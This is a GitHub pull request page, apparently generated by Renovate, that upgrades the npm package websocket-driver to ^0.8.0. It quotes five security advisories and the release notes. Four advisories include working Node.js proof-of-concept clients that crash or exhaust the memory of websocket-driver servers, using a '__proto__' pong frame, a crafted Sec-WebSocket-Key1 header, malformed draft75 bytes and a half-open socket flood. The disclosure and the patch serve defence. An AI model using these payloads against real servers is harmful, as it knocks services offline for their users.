Skip to content

chore(deps): update dependency websocket-driver to ^0.8.0 [security] - #279

Merged
renovate[bot] merged 1 commit into
mainfrom
renovate/npm-websocket-driver-vulnerability
Dec 2, 2026
Merged

renovate[bot] merged 1 commit into
mainfrom
renovate/npm-websocket-driver-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Dec 1, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
websocket-driver ^0.7.5 → ^0.8.0 age confidence

websocket-driver: Denial of service triggered by client sending a single pong frame

CVE-2026-140005 / GHSA-9g4r-f5gq-qjrr

More information

Details

Summary

An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content.

Details

This library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example hasOwnProperty. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below.

Proof of concept

Given a server running websocket-driver:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)
})

server.listen(8000)

A client can connect and send a single pong frame with content __proto__. This will cause the server to crash.

const net = require('net')
const ws = require('websocket-driver')

let driver = ws.client('ws://127.0.0.1:8000/')
let tcp = net.connect(8000, '127.0.0.1')
tcp.pipe(driver.io).pipe(tcp)

tcp.on('connect', () => {
  driver.start()
  driver.pong('__proto__')
})

The client can also cause the server to invoke any other Object method, for example hasOwnProperty, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header

CVE-2026-140003 / GHSA-c4gv-fww2-jp3r

More information

Details

Summary

An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. The draft76 version's handshake involves the client sending two headers named Sec-WebSocket-Key1 and Sec-WebSocket-Key2. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.

If the values are larger than 32 bits, this triggers an exception in Node's Buffer module and this causes the process to crash.

To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)
})

server.listen(8000)

A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed Sec-WebSocket-Key1 header:

const net = require('net')

let tcp = net.connect(8000, '127.0.0.1')

tcp.on('connect', () => {
  tcp.write([
    'GET / HTTP/1.1',
    'Host: 127.0.0.1:8000',
    'Connection: upgrade',
    'Upgrade: websocket',
    'Sec-WebSocket-Key1: 858 993 4592',
    'Sec-WebSocket-Key2: 1 1',
    '',
    '12345678'
  ].join('\r\n'))
})

This will cause the server to crash on Node.js v22 and below.

Impact

An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 Sec-WebSocket-Key1 header whose derived value exceeds 32 bits in size.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


websocket-driver: Message corruption and denial of service triggered by crafted client message

CVE-2026-140004 / GHSA-v36f-rjg3-3v46

More information

Details

Summary

An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.

To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)

  driver.on('message', (msg) => console.log(msg.data))
})

server.listen(8000)

A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:

const net = require('net')

let tcp = net.connect(8000, '127.0.0.1')

tcp.on('connect', () => {
  tcp.write([
    'GET / HTTP/1.1',
    'Host: 127.0.0.1:8000',
    'Connection: upgrade',
    'Upgrade: websocket',
    '', ''
  ].join('\r\n'))

  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
  tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})

This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.

After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


websocket-driver: Memory exhaustion triggered by buffering of zero-length fragmented frames

CVE-2026-140001 / GHSA-7487-9gcw-9w8w

More information

Details

Summary

A server accepting WebSocket connections using websocket-driver can be made to run out of memory by a client sending an indefinite stream of zero-length fragmented message frames.

Details

The WebSocket protocol allows messages to be delivered as a series of "fragment" frames. websocket-driver buffers all the individual fragments it receives and then concatenates them all when the final fragment is received. By sending a stream of zero-length fragment frames, a client can make the driver store a growing array of zero-length Buffer objects in memory, eventually causing it to run out of heap space.

This has been mitigated by discarding zero-length fragments when buffering, and by concatenating all received buffers when the number received reaches a certain amount, specifically 1,000,000. websocket-driver does not concatenate buffers on every received frame as this would result in O(n²) time to process a series of frame fragments, as all the data received so far would need to be copied for each new fragment. websocket-driver now compacts the buffer only if it hits a certain size to avoid the buffer array becoming too large.

Impact

A WebSocket server can be made to run out of memory and crash by an unauthenticated remote attacker opening a single connection and sending an indefinite stream of message fragments over it.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

CVE-2026-140002 / GHSA-v674-7268-hvqh

More information

Details

Summary

A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.

Details

When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.

This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.

Proof of concept

Given a server accepting WebSocket connections using websocket-driver:

const net = require("net")
const websocket = require("websocket-driver")

const server = net.createServer((connection) => {
  let driver = websocket.server({ maxLength: 1024 })

  driver.on("connect", () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on("close", () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5083, "127.0.0.1")

A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.

const net = require("net")

let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })

socket.write(
  "GET / HTTP/1.1\r\n" +
  "Host: 127.0.0.1\r\n" +
  "Connection: Upgrade\r\n" +
  "Upgrade: websocket\r\n" +
  `Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
  "Sec-WebSocket-Version: 13\r\n" +
  "\r\n"
)

socket.once("data", () => {
  // masked Close frame, empty payload
  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
  
  // send arbitrary data
  let chunk = Buffer.alloc(2 ** 20)
  setInterval(() => socket.write(chunk), 100)
})

If this client is left running, the server's memory use will continue to grow indefinitely.

Impact

A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

faye/websocket-driver-node (websocket-driver)

v0.8.1

Compare Source

  • Make buffering of fragmented frames more space-efficient
  • Stop buffering incoming data after a socket has failed or been closed

v0.8.0

Compare Source

  • Add allowDrafts option to explicitly enable support for draft75 and
    draft76 protocols; these are now disabled by default
  • Forward the maxLength option to any registered extensions
  • Fix bug that allowed received pong frames to invoke any method from
    Object.prototype
  • Fix bug in draft75 parser that could cause message corruption or crashes if
    the byte 0xFF appears in a byte stream following a length prefix
  • Prevent a crash that could be triggered by a specially crafted value for the
    Sec-WebSocket-Key1 or Sec-WebSocket-Key2 header
  • Fix deprecation warnings caused by use of url.parse()

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the render-preview-skip Render: do not build a PR preview label Dec 1, 2026
@renovate
renovate Bot merged commit 7663832 into main Dec 2, 2026
16 checks passed
@renovate
renovate Bot deleted the renovate/npm-websocket-driver-vulnerability branch December 2, 2026 04:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

render-preview-skip Render: do not build a PR preview

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants